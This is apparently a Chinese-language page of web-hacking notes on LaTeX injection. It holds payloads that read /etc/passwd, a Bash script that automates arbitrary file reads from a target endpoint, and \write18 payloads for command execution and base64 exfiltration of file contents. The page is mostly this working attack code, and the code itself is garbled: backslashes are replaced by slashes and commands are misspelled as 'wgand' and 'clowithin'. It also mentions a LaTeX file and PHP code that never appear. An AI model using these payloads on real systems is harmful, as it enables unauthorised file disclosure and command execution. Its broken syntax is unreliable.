> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).
# LaTeX 注入技术
创建一个包含以下内容的 LaTeX 文件，并生成一个指向 PDF 文件的 URL：
使用该网站 [鲑鱼](https://salmonsec.com/cheatsheets/exploitation/latex_injection) 尝试插入命令（在这种情况下，它们会被阻止）：
下面是带有清理处理的 PHP 代码：
然而，清理并没有考虑下面这些允许逐行列出系统文件的命令：
```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file
```
知道这一点后，这个 Bash 脚本会自动完成一切，以显示系统中的任何文件：
```bash
#!/bin/bash
# LaTeX 注入技术
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
read_file_to_line="%0A//read//file%20to%20line%0A"
for i in $(seq 1 100); do
file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
if [ $file_to_download ]; then
wgand $file_to_download &>/dev/null
file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
pdftotext $file_to_convert
file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
rm $file_to_convert
cat $file_to_read | head -n 1
rm $file_to_read
read_file_to_line+="%0A//read//file%20to%20line%0A"
else
read_file_to_line+="%0A//read//file%20to%20line%0A"
fi
done
else
echo -e "/n[!] 用法：$0 /etc/passwd/n/n"
fi
```
另一种做法是将内容转换为 base64：
```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}
```
将内容粘贴到一个名为 data 的文件中，并将其解码为纯文本：
```bash
cat data | tr -d '/n' | base64 -d; echo
```
要执行命令，你可以使用下面的内容（在此情况下，id）：
```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file
```
---
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